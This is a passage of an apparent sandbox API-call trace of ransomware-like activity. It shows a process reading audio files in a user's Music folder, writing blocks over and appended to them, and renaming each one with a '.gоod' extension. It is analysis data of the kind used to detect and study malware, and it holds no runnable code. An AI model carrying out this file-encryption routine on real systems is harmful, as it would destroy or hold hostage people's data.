lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\5V epLWJY9UNv1X.wav", lpFilePart=0x0) returned 0x53 [0211.834] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\5V epLWJY9UNv1X.wav.gоod", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\5V epLWJY9UNv1X.wav.gоod", lpFilePart=0x0) returned 0x58 [0211.834] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2b0) returned 1 [0211.834] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\5V epLWJY9UNv1X.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\5v eplwjy9unv1x.wav"), fInfoLevelId=0x0, lpFileInformation=0x202ec390 | out: lpFileInformation=0x202ec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96ce1520, ftCreationTime.dwHighDateTime=0x1d4ce2f, ftLastAccessTime.dwLowDateTime=0x523317d0, ftLastAccessTime.dwHighDateTime=0x1d4cca4, ftLastWriteTime.dwLowDateTime=0x7a7aa9cd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6441)) returned 1 [0211.834] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec270) returned 1 [0211.834] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\5V epLWJY9UNv1X.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\5v eplwjy9unv1x.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\5V epLWJY9UNv1X.wav.gоod" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\5v eplwjy9unv1x.wav.gоod")) returned 1 [0211.835] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tDi30qqZv5.mp3", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tDi30qqZv5.mp3", lpFilePart=0x0) returned 0x4e [0211.835] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2f0) returned 1 [0211.835] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tDi30qqZv5.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\tdi30qqzv5.mp3"), fInfoLevelId=0x0, lpFileInformation=0x3696628 | out: lpFileInformation=0x3696628*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x457cdda0, ftCreationTime.dwHighDateTime=0x1d4c5c4, ftLastAccessTime.dwLowDateTime=0xca9cc2b0, ftLastAccessTime.dwHighDateTime=0x1d4d2bd, ftLastWriteTime.dwLowDateTime=0xca9cc2b0, ftLastWriteTime.dwHighDateTime=0x1d4d2bd, nFileSizeHigh=0x0, nFileSizeLow=0xca60)) returned 1 [0211.835] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec2b0) returned 1 [0211.835] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tDi30qqZv5.mp3", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tDi30qqZv5.mp3", lpFilePart=0x0) returned 0x4e [0211.835] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0211.835] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tDi30qqZv5.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\tdi30qqzv5.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0211.836] GetFileType (hFile=0x478) returned 0x1 [0211.836] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0211.836] GetFileType (hFile=0x478) returned 0x1 [0211.836] SetFilePointer (in: hFile=0x478, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ec348*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ec348*=0) returned 0x1000 [0211.836] ReadFile (in: hFile=0x478, lpBuffer=0x3696a60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec318, lpOverlapped=0x0 | out: lpBuffer=0x3696a60*, lpNumberOfBytesRead=0x202ec318*=0x1000, lpOverlapped=0x0) returned 1 [0211.837] CloseHandle (hObject=0x478) returned 1 [0211.837] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tDi30qqZv5.mp3", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tDi30qqZv5.mp3", lpFilePart=0x0) returned 0x4e [0211.837] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0211.837] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tDi30qqZv5.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\tdi30qqzv5.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0211.837] GetFileType (hFile=0x478) returned 0x1 [0211.837] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0211.837] GetFileType (hFile=0x478) returned 0x1 [0211.837] SetFilePointer (in: hFile=0x478, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ec348*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ec348*=0) returned 0xca60 [0211.837] WriteFile (in: hFile=0x478, lpBuffer=0x3697d08*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ec238, lpOverlapped=0x0 | out: lpBuffer=0x3697d08*, lpNumberOfBytesWritten=0x202ec238*=0x10, lpOverlapped=0x0) returned 1 [0211.837] CloseHandle (hObject=0x478) returned 1 [0211.837] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tDi30qqZv5.mp3", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tDi30qqZv5.mp3", lpFilePart=0x0) returned 0x4e [0211.838] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0211.838] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tDi30qqZv5.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\tdi30qqzv5.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0211.838] GetFileType (hFile=0x478) returned 0x1 [0211.838] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0211.838] GetFileType (hFile=0x478) returned 0x1 [0211.838] ReadFile (in: hFile=0x478, lpBuffer=0x3699fd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec2c8, lpOverlapped=0x0 | out: lpBuffer=0x3699fd8*, lpNumberOfBytesRead=0x202ec2c8*=0x1000, lpOverlapped=0x0) returned 1 [0213.790] CloseHandle (hObject=0x478) returned 1 [0213.790] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tDi30qqZv5.mp3", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tDi30qqZv5.mp3", lpFilePart=0x0) returned 0x4e [0213.791] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0213.791] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tDi30qqZv5.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\tdi30qqzv5.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0213.791] GetFileType (hFile=0x478) returned 0x1 [0213.791] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0213.791] GetFileType (hFile=0x478) returned 0x1 [0213.791] WriteFile (in: hFile=0x478, lpBuffer=0x33d20d0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ec378, lpOverlapped=0x0 | out: lpBuffer=0x33d20d0*, lpNumberOfBytesWritten=0x202ec378*=0x1010, lpOverlapped=0x0) returned 1 [0213.791] CloseHandle (hObject=0x478) returned 1 [0213.791] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tDi30qqZv5.mp3", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tDi30qqZv5.mp3", lpFilePart=0x0) returned 0x4e [0213.791] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tDi30qqZv5.mp3.gоod", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tDi30qqZv5.mp3.gоod", lpFilePart=0x0) returned 0x53 [0213.791] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2b0) returned 1 [0213.791] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tDi30qqZv5.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\tdi30qqzv5.mp3"), fInfoLevelId=0x0, lpFileInformation=0x202ec390 | out: lpFileInformation=0x202ec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x457cdda0, ftCreationTime.dwHighDateTime=0x1d4c5c4, ftLastAccessTime.dwLowDateTime=0xca9cc2b0, ftLastAccessTime.dwHighDateTime=0x1d4d2bd, ftLastWriteTime.dwLowDateTime=0x7ba4aec8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xca70)) returned 1 [0213.791] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec270) returned 1 [0213.791] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tDi30qqZv5.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\tdi30qqzv5.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tDi30qqZv5.mp3.gоod" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\tdi30qqzv5.mp3.gоod")) returned 1 [0213.792] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tqTGqfw5Nf.mp3", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tqTGqfw5Nf.mp3", lpFilePart=0x0) returned 0x4e [0213.792] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2f0) returned 1 [0213.792] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tqTGqfw5Nf.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\tqtgqfw5nf.mp3"), fInfoLevelId=0x0, lpFileInformation=0x363a468 | out: lpFileInformation=0x363a468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7eacb640, ftCreationTime.dwHighDateTime=0x1d4d5d7, ftLastAccessTime.dwLowDateTime=0x915cf790, ftLastAccessTime.dwHighDateTime=0x1d4d22c, ftLastWriteTime.dwLowDateTime=0x915cf790, ftLastWriteTime.dwHighDateTime=0x1d4d22c, nFileSizeHigh=0x0, nFileSizeLow=0x13583)) returned 1 [0213.792] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec2b0) returned 1 [0213.792] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tqTGqfw5Nf.mp3", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tqTGqfw5Nf.mp3", lpFilePart=0x0) returned 0x4e [0213.792] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0213.793] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tqTGqfw5Nf.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\tqtgqfw5nf.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0213.793] GetFileType (hFile=0x478) returned 0x1 [0213.793] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0213.793] GetFileType (hFile=0x478) returned 0x1 [0213.793] SetFilePointer (in: hFile=0x478, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ec348*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ec348*=0) returned 0x1000 [0213.793] ReadFile (in: hFile=0x478, lpBuffer=0x363a8a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec318, lpOverlapped=0x0 | out: lpBuffer=0x363a8a0*, lpNumberOfBytesRead=0x202ec318*=0x1000, lpOverlapped=0x0) returned 1 [0213.794] CloseHandle (hObject=0x478) returned 1 [0213.794] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tqTGqfw5Nf.mp3", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tqTGqfw5Nf.mp3", lpFilePart=0x0) returned 0x4e [0213.794] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0213.794] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tqTGqfw5Nf.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\tqtgqfw5nf.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0213.794] GetFileType (hFile=0x478) returned 0x1 [0213.794] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0213.794] GetFileType (hFile=0x478) returned 0x1 [0213.794] SetFilePointer (in: hFile=0x478, lDistanceToMove=0, lpDistanceToMoveHigh=0x202ec348*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x202ec348*=0) returned 0x13583 [0213.794] WriteFile (in: hFile=0x478, lpBuffer=0x363bb48*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x202ec238, lpOverlapped=0x0 | out: lpBuffer=0x363bb48*, lpNumberOfBytesWritten=0x202ec238*=0x10, lpOverlapped=0x0) returned 1 [0213.794] CloseHandle (hObject=0x478) returned 1 [0213.795] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tqTGqfw5Nf.mp3", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tqTGqfw5Nf.mp3", lpFilePart=0x0) returned 0x4e [0213.795] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0213.795] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tqTGqfw5Nf.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\tqtgqfw5nf.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0213.795] GetFileType (hFile=0x478) returned 0x1 [0213.795] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0213.795] GetFileType (hFile=0x478) returned 0x1 [0213.795] ReadFile (in: hFile=0x478, lpBuffer=0x363de18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec2c8, lpOverlapped=0x0 | out: lpBuffer=0x363de18*, lpNumberOfBytesRead=0x202ec2c8*=0x1000, lpOverlapped=0x0) returned 1 [0213.936] CloseHandle (hObject=0x478) returned 1 [0213.936] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tqTGqfw5Nf.mp3", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tqTGqfw5Nf.mp3", lpFilePart=0x0) returned 0x4e [0213.936] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0213.936] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tqTGqfw5Nf.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\tqtgqfw5nf.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0213.937] GetFileType (hFile=0x478) returned 0x1 [0213.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0213.937] GetFileType (hFile=0x478) returned 0x1 [0213.937] WriteFile (in: hFile=0x478, lpBuffer=0x34655d0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x202ec378, lpOverlapped=0x0 | out: lpBuffer=0x34655d0*, lpNumberOfBytesWritten=0x202ec378*=0x1010, lpOverlapped=0x0) returned 1 [0213.937] CloseHandle (hObject=0x478) returned 1 [0213.937] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tqTGqfw5Nf.mp3", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tqTGqfw5Nf.mp3", lpFilePart=0x0) returned 0x4e [0213.937] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tqTGqfw5Nf.mp3.gоod", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tqTGqfw5Nf.mp3.gоod", lpFilePart=0x0) returned 0x53 [0213.937] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2b0) returned 1 [0213.937] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tqTGqfw5Nf.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\tqtgqfw5nf.mp3"), fInfoLevelId=0x0, lpFileInformation=0x202ec390 | out: lpFileInformation=0x202ec390*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7eacb640, ftCreationTime.dwHighDateTime=0x1d4d5d7, ftLastAccessTime.dwLowDateTime=0x915cf790, ftLastAccessTime.dwHighDateTime=0x1d4d22c, ftLastWriteTime.dwLowDateTime=0x7bba959b, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x13593)) returned 1 [0213.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec270) returned 1 [0213.937] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tqTGqfw5Nf.mp3" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\tqtgqfw5nf.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tqTGqfw5Nf.mp3.gоod" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\tqtgqfw5nf.mp3.gоod")) returned 1 [0213.938] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tv91yatm9SxBqDfI.wav", nBufferLength=0x105, lpBuffer=0x202ebe20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tv91yatm9SxBqDfI.wav", lpFilePart=0x0) returned 0x54 [0213.938] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec2f0) returned 1 [0213.938] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tv91yatm9SxBqDfI.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\tv91yatm9sxbqdfi.wav"), fInfoLevelId=0x0, lpFileInformation=0x34d53f8 | out: lpFileInformation=0x34d53f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa87afd20, ftCreationTime.dwHighDateTime=0x1d4cf9b, ftLastAccessTime.dwLowDateTime=0x3cd99a40, ftLastAccessTime.dwHighDateTime=0x1d4c5a0, ftLastWriteTime.dwLowDateTime=0x3cd99a40, ftLastWriteTime.dwHighDateTime=0x1d4c5a0, nFileSizeHigh=0x0, nFileSizeLow=0xab45)) returned 1 [0213.938] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec2b0) returned 1 [0213.938] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tv91yatm9SxBqDfI.wav", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tv91yatm9SxBqDfI.wav", lpFilePart=0x0) returned 0x54 [0213.938] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0213.939] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tv91yatm9SxBqDfI.wav" (normalized: "c:\\users\\fd1hvy\\music\\yftm15argt6k2xlwjhbi\\d4oz\\s64i9a_stz9fef_\\tv91yatm9sxbqdfi.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0213.939] GetFileType (hFile=0x478) returned 0x1 [0213.939] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x202ec160) returned 1 [0213.939] GetFileType (hFile=0x478) returned 0x1 [0213.939] SetFilePointer (in: hFile=0x478, lDistanceToMove=4096, lpDistanceToMoveHigh=0x202ec348*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x202ec348*=0) returned 0x1000 [0213.939] ReadFile (in: hFile=0x478, lpBuffer=0x34d5870, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x202ec318, lpOverlapped=0x0 | out: lpBuffer=0x34d5870*, lpNumberOfBytesRead=0x202ec318*=0x1000, lpOverlapped=0x0) returned 1 [0213.940] CloseHandle (hObject=0x478) returned 1 [0213.940] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tv91yatm9SxBqDfI.wav", nBufferLength=0x105, lpBuffer=0x202ebcd0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tv91yatm9SxBqDfI.wav", lpFilePart=0x0) returned 0x54 [0213.940] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x202ec1f0) returned 1 [0213.940] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Music\\yfTM15Argt6K2XlwJHBi\\D4oZ\\S64I9a_stZ9Fef_\\tv91yatm9SxBqDfI.wav" (normalized: 